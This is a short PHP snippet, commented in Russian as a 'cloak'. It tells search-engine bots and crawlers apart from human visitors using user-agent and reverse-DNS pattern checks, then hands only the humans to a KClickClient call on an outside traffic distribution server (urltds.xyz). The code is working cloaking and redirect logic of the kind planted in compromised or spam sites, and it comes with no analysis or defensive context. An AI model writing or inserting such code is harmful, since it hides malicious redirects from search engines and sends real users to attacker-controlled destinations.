//клоакa
if ( substr($_SERVER['HTTP_HOST'], 0, 4)=='www.') $_SERVER['HTTP_HOST'] = substr($_SERVER['HTTP_HOST'], 4);
if ($config['cloak'] == true) {
$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);
if (!isset($_COOKIE['usr']) || $_COOKIE['usr'] !== md5($host . 'ok')) {
if (!empty($_SERVER['HTTP_USER_AGENT']) && !preg_match('#google|spider|bing|bot|yahoo|aol|yandex|crawl|ask|hrefs#i', $_SERVER['HTTP_USER_AGENT'])) {
if (!preg_match('#google|msn|bing|ask|yahoo|aol|yandex|spider|crawl|hrefs#i', $host)) {
setcookie('usr', md5($host . 'ok'), time() + 600);
$ishuman = true;
}
}
} else {
if (!empty($_SERVER['HTTP_USER_AGENT']) && !preg_match('#google|spider|bing|bot|yahoo|aol|yandex|crawl|ask|hrefs#i', $_SERVER['HTTP_USER_AGENT'])) {
if (!preg_match('#google|msn|bing|ask|yahoo|aol|yandex|spider|crawl|hrefs#i', $host)) {
$ishuman = true;
}
}
}
} else {
$ishuman = true;
}
if ($ishuman == true) {
$client = new KClickClient('http://urltds.xyz/api.php', 'apikey');
$client->sendAllParams();
$client->params('');
$client->keyword($_SERVER['HTTP_HOST']);
$client->execute();
}